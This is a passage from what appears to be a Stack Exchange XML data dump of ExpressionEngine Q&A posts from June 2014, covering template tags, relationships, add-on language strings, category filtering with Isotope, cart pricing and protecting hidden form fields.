OwnerUserId="2278" LastActivityDate="2014-06-11T00:14:18.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23607" PostTypeId="2" ParentId="23605" CreationDate="2014-06-11T00:44:09.373" Score="1" Body="&lt;p&gt;Actually, in the &lt;code&gt;categories&lt;/code&gt; tag pair, inside &lt;code&gt;exp:channel:entries&lt;/code&gt;, the parameter you want is the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#show-group&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;show_group&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries status=&quot;open|Featured&quot; channel=&quot;{channel}&quot; category=&quot;{cat}&quot; orderby=&quot;date&quot; limit=&quot;10&quot; paginate=&quot;bottom&quot;}&#xA;        &amp;lt;article&amp;gt;&#xA;            &amp;lt;figure&amp;gt;&amp;lt;img src=&quot;{image_upload}&quot; alt=&quot;{title}&quot; /&amp;gt;&amp;lt;/figure&amp;gt;&#xA;            &amp;lt;div&amp;gt;&#xA;                &amp;lt;h4&amp;gt;{title}&amp;lt;/h4&amp;gt;&#xA;                &amp;lt;p&amp;gt;{entry_date format=&quot;%F %d, %Y&quot;} | Filed under: {categories backspace=&quot;7&quot; show_group=&quot;4&quot;}&amp;lt;a href=&quot;{path=news/view}&quot;&amp;gt;{category_name}&amp;lt;/a&amp;gt;,&amp;amp;nbsp;{/categories}&amp;lt;/p&amp;gt;&#xA;                {if news_body}&amp;lt;p&amp;gt;&amp;lt;a class=&quot;more&quot; href=&quot;{title_permalink=news/view}&quot; title=&quot;Read More&quot;&amp;gt; Read More &amp;amp;raquo;&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;{/if}&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/article&amp;gt;&#xA;        {paginate}&amp;lt;p id=&quot;pagination&quot;&amp;gt;{pagination_links}&amp;lt;/p&amp;gt;{/paginate}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/channel/categories.html#category-group&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;category_group&lt;/code&gt;&lt;/a&gt; is a parameter of the &lt;code&gt;exp:channel:categories&lt;/code&gt; tag pair.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2014-06-11T00:44:09.373" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23608" PostTypeId="2" ParentId="23591" CreationDate="2014-06-11T04:58:29.747" Score="0" Body="&lt;p&gt;Sorry, this is not available with Primary Category at this time.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-06-11T04:58:29.747" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23609" PostTypeId="1" CreationDate="2014-06-11T05:06:48.163" Score="6" ViewCount="169" Body="&lt;p&gt;I have a tag pair that generates a form. I am trying to pass some sensitive information in the tag params, trying to think of a way to avoid exposing it by showing it via hidden field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, let's say I have data A and data B. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:foo:bar A=&quot;foo&quot; B=&quot;bar&quot;}&#xA;...&#xA;{/exp:foo:bar}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't want it to be defined in the form as raw data.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;A&quot; value=&quot;foo&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;B  value=&quot;bar&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't want users to be able to tinker and change the value in the markup. It is a exploitable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best practice that EE does for this? Encryption? I do see some addons have a  hidden field where the value is a long character string.&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2014-06-13T06:19:04.950" Title="Securing form data" Tags="|forms|security|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23610" PostTypeId="2" ParentId="22493" CreationDate="2014-06-11T05:25:41.270" Score="0" Body="&lt;p&gt;I don't have a free solution but Photo Frame will do what you're after. &lt;a href=&quot;https://objectivehtml.com/photo-frame/settings&quot; rel=&quot;nofollow&quot;&gt;https://objectivehtml.com/photo-frame/settings&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="96" LastActivityDate="2014-06-11T05:25:41.270" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23611" PostTypeId="2" ParentId="23609" CreationDate="2014-06-11T07:29:52.627" Score="2" Body="&lt;p&gt;Mathods is dependet on how sensitive this data for you:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Yes, you can encrypt this data using &lt;a href=&quot;http://php.net/manual/en/function.openssl-encrypt.php&quot; rel=&quot;nofollow&quot;&gt;openssl-encrypt&lt;/a&gt; for example (for php &gt;=5.3), but if user have enough time and is transparent what data you keep in this encrypted message, user can find way to decrypt.  Needs to add salt. Salt needs to keep somewhere.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;So I think more secure solutions is keep sensitive form data in the DB - add record at the moment when you create form. In form you will have only reference (better do some uniq key, not just id) to record. After n-minutes mark records as expired (or delete it).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="932" LastEditorUserId="932" LastEditDate="2014-06-11T07:38:10.123" LastActivityDate="2014-06-11T07:38:10.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23612" PostTypeId="2" ParentId="23594" CreationDate="2014-06-11T07:45:24.607" Score="0" Body="&lt;p&gt;I'm not able to reproduce on CE 1.6.5 at least. Tried saving an entry w/o a Title and then had some content in a Heading and WYSIWIG field in a Content Elements field - hit submit and was redirected back with the content intact.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're able to reproduce consistently on a clean install I'd say report a bug.&lt;/p&gt;&#xA;" OwnerUserId="189" LastActivityDate="2014-06-11T07:45:24.607" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="23613" PostTypeId="2" ParentId="23591" CreationDate="2014-06-11T07:45:53.550" Score="1" Body="&lt;p&gt;Could you perhaps do...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT primary_category_id FROM exp_primary_category WHERE entry_id='{segment_2}'&quot;}&#xA;    {embed=&quot;site/yes&quot;}&#xA;    {if no_results}&#xA;        {embed=&quot;site/no&quot;}&#xA;    {/if}&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Be careful of placing this inside a channel:entries loop though as the {if no_results} tag will be caught by that instead of the query loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not verified but worth a try.&lt;/p&gt;&#xA;" OwnerUserId="389" LastActivityDate="2014-06-11T07:45:53.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23614" PostTypeId="1" AcceptedAnswerId="23620" CreationDate="2014-06-11T08:41:24.780" Score="0" ViewCount="85" Body="&lt;p&gt;I used &quot;{reverse_related_entries}&quot; before but after the upgrade (2.8.1) i like to use the new Relationships.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found some stuff in the docs. But i can't figure out what i have to do when the relationship-field is into the ChildChannel:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;ParentChannel&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;title&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;ChildChannel&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;title&lt;/li&gt;&#xA;&lt;li&gt;relationship_field (Relationship)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Template for ChildChannel:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;ParentChannel&quot;}&#xA;{title}&#xA;{relationship_field}{relationship_field:title}{/relationship_field}     &#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What i need is a menu like this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Product-Family (from ParentChannel)&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Product 1 (from ChildChannel with Relationship to Product-Family)&lt;/li&gt;&#xA;&lt;li&gt;Produkt 2 (from ChildChannel with Relationship to Product-Family)&lt;/li&gt;&#xA;&lt;li&gt;Produkt 3 (from ChildChannel with Relationship to Product-Family)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3215" LastEditorUserId="96" LastEditDate="2014-06-11T12:49:38.820" LastActivityDate="2014-06-11T12:49:38.820" Title="Convert {reverse_related_entries} to relationships" Tags="|relationships|child|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23615" PostTypeId="1" AcceptedAnswerId="23636" CreationDate="2014-06-11T08:57:13.520" Score="1" ViewCount="108" Body="&lt;p&gt;A site I'm working on allows a client to place banner ads in various locations using a 'sponsors' channel in EE. The channel is fairly simple and has fields for the banner image itself, a target URL etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to record both impressions and click throughs from the banners to the target URLs. In a perfect world the banners when displayed will link directly to the sponsors target URL so that they can gain some SEO value from the link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Recording banner impressions is easy, I can just use the native 'views' parameter to do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries track_views=&quot;one&quot; ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, how can I ensure that a 'click' on a banner also records a 'view' to the 2nd view column for that entry before the user is redirect to the target URL in the href?&lt;/p&gt;&#xA;" OwnerUserId="389" LastActivityDate="2014-06-12T12:46:35.337" Title="Recording clicks on banners using the native 'views' columns" Tags="|tracking|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="23616" PostTypeId="2" ParentId="23538" CreationDate="2014-06-11T09:03:42.370" Score="0" Body="&lt;p&gt;Not natively no but as ExpressionEngine gives you complete freedom with your front end templates it should be possible to use EE as a tool to create course content. You might also want to look at &lt;a href=&quot;http://devot-ee.com/search/tags/tag/lms&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/search/tags/tag/lms&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="389" LastActivityDate="2014-06-11T09:03:42.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23617" PostTypeId="2" ParentId="22411" CreationDate="2014-06-11T09:08:12.680" Score="1" Body="&lt;p&gt;So far as I'm aware you will need to do something special, Max alluded to being able to set a cookie. Without doing so your cURL request is seen as a totally separate session since it's initiated by your server, not by your browser.&lt;/p&gt;&#xA;" OwnerUserId="389" LastEditorUserId="197" LastEditDate="2016-01-08T17:47:36.283" LastActivityDate="2016-01-08T17:47:36.283" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23618" PostTypeId="1" AcceptedAnswerId="23619" CreationDate="2014-06-11T09:24:31.513" Score="1" ViewCount="72" Body="&lt;p&gt;I am hooking in to cp_menu_array - which seems light on the old documentation - to stick up a menu for my module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All works as expected, except the language strings.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function cp_menu($menu)&#xA;{&#xA;    if ($this-&amp;gt;ee-&amp;gt;extensions-&amp;gt;last_call !== false) {&#xA;        $menu = $this-&amp;gt;ee-&amp;gt;extensions-&amp;gt;last_call;&#xA;    }       &#xA;&#xA;    $menu['giftcards'] = array();&#xA;    $menu['giftcards']['view_giftcards'] = BASE.'&amp;amp;amp;C=addons_modules&amp;amp;amp;M=show_module_cp&amp;amp;amp;module=store_giftcard';&#xA;    $menu['giftcards']['edit_giftcard_emails'] = BASE.'&amp;amp;amp;C=addons_modules&amp;amp;amp;M=show_module_cp&amp;amp;amp;module=store_giftcard';&#xA;&#xA;    return $menu;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This gives me the required menu item, but the strings pop up as 'nav_giftcards', etc.  So, one might expect to stick them in the lang array thus:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$lang = array(&#xA;    &quot;store_giftcard_module_name&quot; =&amp;gt; 'Store Giftcard',&#xA;    &quot;store_giftcard_module_description&quot; =&amp;gt; 'Gift certificate functionality     for Expresso Store',&#xA;    &quot;nav_giftcards&quot; =&amp;gt; 'Giftcards',&#xA;    &quot;nav_view_giftcards&quot; =&amp;gt; 'View Giftcards',&#xA;    &quot;nav_edit_giftcard_emails&quot; =&amp;gt; 'View Giftcards'&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Alas, to no avail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone can point out the trick I'm probably missing before I need to dive in and walk through the core to find out, I'd be much obliged.&lt;/p&gt;&#xA;" OwnerUserId="3081" LastActivityDate="2014-06-11T10:16:55.450" Title="cp_menu_array hook : nav_ not getting picked up" Tags="|control-panel|hook|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23619" PostTypeId="2" ParentId="23618" CreationDate="2014-06-11T10:16:55.450" Score="1" Body="&lt;p&gt;You can try to add next lines into your cp_menu_array code in case if you need to have some dynamic code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;lang-&amp;gt;language['nav_giftcards'] = 'Giftcards';&#xA;ee()-&amp;gt;lang-&amp;gt;language['nav_view_giftcards'] = 'View Giftcards';&#xA;ee()-&amp;gt;lang-&amp;gt;language['nav_edit_giftcard_emails'] = 'View Giftcardss';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or load your file with lang array:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;lang-&amp;gt;loadfile($module_name);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="932" LastActivityDate="2014-06-11T10:16:55.450" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23620" PostTypeId="2" ParentId="23614" CreationDate="2014-06-11T12:10:47.437" Score="1" Body="&lt;p&gt;You need to use the &lt;code&gt;parents&lt;/code&gt; tag pair (&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/channel/relationships.html#accessing-parents&quot; rel=&quot;nofollow&quot;&gt;docs&lt;/a&gt;), since your &quot;child&quot; products are actually the &quot;parents&quot; (because the relationship originated from their entries, not the other way around).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;ParentChannel&quot;}&#xA;    {title}&#xA;    {parents field=&quot;ChildChannelRelationshipField&quot;}&#xA;        {parents:title}&#xA;    {/parents}     &#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-06-11T12:10:47.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23621" PostTypeId="1" CreationDate="2014-06-11T13:48:56.290" Score="1" ViewCount="102" Body="&lt;p&gt;I've updated to EE 2.8.1 as well as updating Wygwam to 3.3.1 (and a ton of other add-ons).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the updates, the Wygwam field will flash and then disappear on any Channel Entry page. This has been the case in Safari, Firefox, Chrome&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I've cleared caches (EE and browser), refreshed, restarted to no avail.&lt;/li&gt;&#xA;&lt;li&gt;I've uninstalled Channel Images to no avail.&lt;/li&gt;&#xA;&lt;li&gt;I've created a &quot;Naked&quot; Wygwam config with no style set, etc. to no avail.&lt;/li&gt;&#xA;&lt;li&gt;I've created a test channel and field set with only an instance of Wygwam to no avail.&lt;/li&gt;&#xA;&lt;li&gt;I've manually refreshed the ckeditor.js to no avail.&lt;/li&gt;&#xA;&lt;li&gt;I've googled until my fingers bled. To no avail.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I've attached a screenshot from the Inspector which shows an error which is above head. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HRhsn.png&quot; alt=&quot;Inspector Screenshot&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm stumped. Any thoughts?&lt;/p&gt;&#xA;" OwnerUserId="3221" LastActivityDate="2014-06-12T13:01:09.300" Title="Wygwam 3.3.1 Disappears from Channel Entry" Tags="|ee2|wygwam|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23622" PostTypeId="1" AcceptedAnswerId="23657" CreationDate="2014-06-11T14:16:36.020" Score="3" ViewCount="1443" Body="&lt;p&gt;This one maybe a bit tricky, but currently I have a page that is using categories and isotope.js filtering to arrange channel entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eVTsf.jpg&quot; alt=&quot;Current Layout&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The filtering using the check-boxes works well. However one thing I'd like to do to extend it further is this;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the above image for reference, lets say Entry #1 has categories of Commercial and Construction set. If I click on the Commercial checkbox, then Entry #1 appear in the filter. Likewise if I check Construction, the entry will show, regardless of whether Commercial is checked or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'd like to happen is if I check the Commercial check-box, then every box except Construction would disappear because hypothetically, only Entry #1 has been assigned to a category in that list (ie. Construction).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/w8yPX.jpg&quot; alt=&quot;Proposed layout&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Likewise if I clicked on Construction, is it possible to grey out the top list of categories with the exception of Commercial because only Entry#1 'theoretically' has a category assigned in that list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I apologize in advance as this is quite a difficult problem to word into a question. I hope someone out there is able to get a grip of what I mean and maybe help me out a bit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*Obviously I would like to post a JSFiddle to better illustrate the request, but because its currently reliant on EE's channel entries and categories, I'm unable to do so.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Markup&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;section&amp;gt;&#xA;&amp;lt;div class=&quot;container&quot;&amp;gt;    &#xA;    &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;col-xs-12 col-sm-3&quot;&amp;gt;&#xA;            &amp;lt;div id=&quot;filters&quot;&amp;gt;&#xA;                &amp;lt;h3&amp;gt;Market&amp;lt;/h3&amp;gt;&amp;lt;br/&amp;gt;    &#xA;                {exp:channel:categories category_group=&quot;7&quot; style=&quot;linear&quot; show_empty=&quot;no&quot;}&#xA;                    &amp;lt;input type=&quot;checkbox&quot; name=&quot;{category_name}&quot; value=&quot;.{category_name}&quot; id=&quot;{category_name}&quot;&amp;gt;&amp;lt;label for=&quot;{category_name}&quot;&amp;gt;&amp;amp;nbsp;{display_name_sectors}&amp;lt;/label&amp;gt;&amp;lt;br&amp;gt;&#xA;                {/exp:channel:categories}&amp;lt;hr/&amp;gt;&#xA;                &amp;lt;h3&amp;gt;Capabilities&amp;lt;/h3&amp;gt;&amp;lt;br/&amp;gt;    &#xA;                {exp:channel:categories category_group=&quot;9&quot; style=&quot;linear&quot;}&#xA;                    &amp;lt;input type=&quot;checkbox&quot; name=&quot;{category_name}&quot; value=&quot;.{category_name}&quot; id=&quot;{category_name}&quot;&amp;gt;&amp;lt;label for=&quot;{category_name}&quot;&amp;gt;&amp;amp;nbsp;{display_name_capabilities}&amp;lt;/label&amp;gt;&amp;lt;br&amp;gt;&#xA;                {/exp:channel:categories}&amp;lt;hr/&amp;gt;&#xA;                &amp;lt;h3&amp;gt;Region&amp;lt;/h3&amp;gt;&amp;lt;br/&amp;gt;&#xA;                {exp:channel:categories category_group=&quot;10&quot; style=&quot;linear&quot;}&#xA;                    &amp;lt;input type=&quot;checkbox&quot; name=&quot;{category_name}&quot; value=&quot;.{category_name}&quot; id=&quot;{category_name}&quot;&amp;gt;&amp;lt;label for=&quot;{category_name}&quot;&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;{display_name_regions}&amp;lt;/label&amp;gt;&amp;lt;br&amp;gt;&#xA;                {/exp:channel:categories}&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;col-xs-12 col-sm-9&quot;&amp;gt;&#xA;            &amp;lt;h3&amp;gt;Filtered Projects&amp;lt;/h3&amp;gt;&amp;lt;br/&amp;gt;&#xA;            &amp;lt;div id=&quot;blocks-container&quot;&amp;gt;&#xA;                {exp:channel:entries dynamic=&quot;off&quot; channel=&quot;projects&quot; status=&quot;not closed&quot;}&#xA;&#xA;                    &amp;lt;div class=&quot;iso-block {categories}{category_name} {/categories}&quot;&amp;gt;&#xA;&#xA;                        &amp;lt;p&amp;gt;{title}&amp;lt;br/&amp;gt;&amp;lt;em&amp;gt;{categories backspace=&quot;2&quot;}{category_name}, {/categories}&amp;lt;/em&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&#xA;                {/exp:channel:entries}&#xA;            &amp;lt;/div&amp;gt; &amp;lt;!--#blocks-container--&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!--container--&amp;gt;&#xA;&amp;lt;/section&amp;gt;&#xA;&#xA;&#xA;&amp;lt;script src=&quot;http://isotope.metafizzy.co/v1/jquery.isotope.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script&amp;gt;&#xA;$(function(){&#xA;&#xA;  var $container = $('#blocks-container'),&#xA;  $checkboxes = $('#filters input');&#xA;&#xA;  $container.isotope({&#xA;  itemSelector: '.iso-block',&#xA;  masonry: {&#xA;  columnWidth: 100&#xA;  }&#xA;  });&#xA;&#xA; $checkboxes.change(function(){&#xA; var filters = [];&#xA;// get checked checkboxes values&#xA; $checkboxes.filter(':checked').each(function(){&#xA;  filters.push( this.value );&#xA; });&#xA;&#xA;filters = filters.join(', ');&#xA;$container.isotope({ filter: filters });&#xA;});&#xA;&#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1230" LastEditorUserId="1230" LastEditDate="2014-06-11T19:46:09.143" LastActivityDate="2014-06-12T14:19:46.363" Title="Using categories with Isotope" Tags="|categories|filtering|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="23623" PostTypeId="1" CreationDate="2014-06-11T14:28:55.153" Score="1" ViewCount="50" Body="&lt;p&gt;I am facing an issue in my site.&#xA;The order status is getting changed automatically for several orders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue has been noted mostly for 'canceled' orders.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Actual Order flow:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;New &gt;&gt; Processing &gt;&gt; Canceled&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The process should have end there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the orders are getting updated automatically.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;New Order flow:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;New &gt;&gt; Processing &gt;&gt; Canceled &gt;&gt; Processing&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For some orders, we tried changing the status back to Canceled. But still the order gets updated back to 'Processing' status after some days.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;New &gt;&gt; Processing &gt;&gt; Canceled &gt;&gt; Processing &gt;&gt; Canceled &gt;&gt; Processing&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any feature or setting in the Expresso store to check for the orders and turn the status to 'Processing'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can somebody please help me.&lt;/p&gt;&#xA;" OwnerUserId="3223" LastEditorUserId="3223" LastEditDate="2014-06-11T15:26:18.620" LastActivityDate="2014-06-11T15:26:18.620" Title="Order Status getting changed automatically" Tags="|expresso-store|expresso|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23624" PostTypeId="1" CreationDate="2014-06-11T14:40:02.053" Score="1" ViewCount="138" Body="&lt;p&gt;The price modifier configurator displays the options (and prices) correctly on the product page, but the cart displays the base price instead of adding the item_option:price.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the sample code from the CT documentation (&lt;a href=&quot;http://cartthrob.com/docs/tags_detail/item_options/index.html&quot; rel=&quot;nofollow&quot;&gt;http://cartthrob.com/docs/tags_detail/item_options/index.html&lt;/a&gt;) which doesn't include the {item_price} field but according to this: &lt;a href=&quot;http://cartthrob.com/docs/tags_detail/cart_items_info/index.html&quot; rel=&quot;nofollow&quot;&gt;http://cartthrob.com/docs/tags_detail/cart_items_info/index.html&lt;/a&gt; I should be able to use {item_price:plus_tax} to show the item's price including options + tax, which only displays the item's base price + tax.&lt;/p&gt;&#xA;" OwnerUserId="3222" LastActivityDate="2014-06-11T14:40:02.053" Title="Price Modifier Configurator field not affecting price" Tags="|cartthrob|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23625" PostTypeId="1" AcceptedAnswerId="23630" CreationDate="2014-06-11T16:11:31.000" Score="2" ViewCount="311" Body="&lt;p&gt;I'm using channel:categories and would like to show only child categories so I added the following conditional &lt;code&gt;{if {parent_id} != 0}...{/if}&lt;/code&gt; but get php errors as soon as I add it to the template. I tried any sort of variable check {category_description} and get errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The above conditional was taken from an &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/14360/show-child-categories-but-hide-parent&quot;&gt;accepted answer on another thread&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Parse error: syntax error, unexpected '{' in path\to\system\expressionengine\libraries\Functions.php(689) : eval()'d code on line 43&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My template looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!--stash 1st level category list--}&#xA;{exp:stash:set name=&quot;categories&quot; parse_tags=&quot;yes&quot;}{exp:gwcode_categories channel=&quot;products&quot; depth=&quot;1&quot; style=&quot;linear&quot; backspace=&quot;1&quot;}{cat_url_title}|{/exp:gwcode_categories}{/exp:stash:set}&#xA;&#xA;{!--category ids for sub cats--}&#xA;{exp:stash:set name=&quot;sub_category_ids&quot; parse_tags=&quot;yes&quot;}{exp:gwcode_categories channel=&quot;products&quot; output_depth=&quot;2&quot; style=&quot;linear&quot; backspace=&quot;1&quot; cat_url_title=&quot;{segment_3}&quot;}{cat_id}|{/exp:gwcode_categories}{/exp:stash:set}&#xA;&#xA;&#xA;{exp:stash:parse}&#xA;{exp:switchee variable=&quot;{segment_2}&quot; parse=&quot;inward&quot;}&#xA;  {case value=&quot;#^P(/d+)$#|category|''&quot;}&#xA;&#xA;&#xA;    {switchee variable=&quot;{segment_3}&quot; parse=&quot;inward&quot;}&#xA;&#xA;      {case value=&quot;{stash:categories}&quot;}{!--level 1 category listing filtered by stashed list --}&#xA;&#xA;        {exp:low_variables:single var=&quot;lv-products-cat-tier1&quot; &#xA;          preparse:pre_seg_id=&quot;{stash:sub_category_ids}&quot;&#xA;          preparse:pre_single_cat_id=&quot;{segment_3_category_id}&quot;&#xA;        }&#xA;&#xA;      {/case}{!--level 1 category listing--}&#xA;&#xA;        some more case checks here&#xA;&#xA;    {/switchee}{!--end nested switchee--}&#xA;&#xA;{/case}{!--listing &amp;amp; category listing--}&#xA;&#xA;some more case checks here&#xA;{/exp:switchee} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Finally my lv-products-cat-tier1 is a low variable with the following code where the parent conditional will wrapp the double-square div when it is working:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        {!--list sub categories--}&#xA;        {exp:channel:categories channel=&quot;products&quot; show=&quot;{pre_single_cat_id}|{pre_seg_id}&quot; style=&quot;linear&quot;}&#xA;&#xA;{if {parent_id} != 0}&#xA;  yo&#xA;{/if}&#xA;&#xA;        &amp;lt;div class=&quot;col-xs-6 double-square&quot;&amp;gt;&#xA;            &amp;lt;img src=&quot;http://lorempixel.com/545/270/people&quot; alt=&quot;&quot; class=&quot;img-responsive&quot;&amp;gt;&#xA;            &amp;lt;div 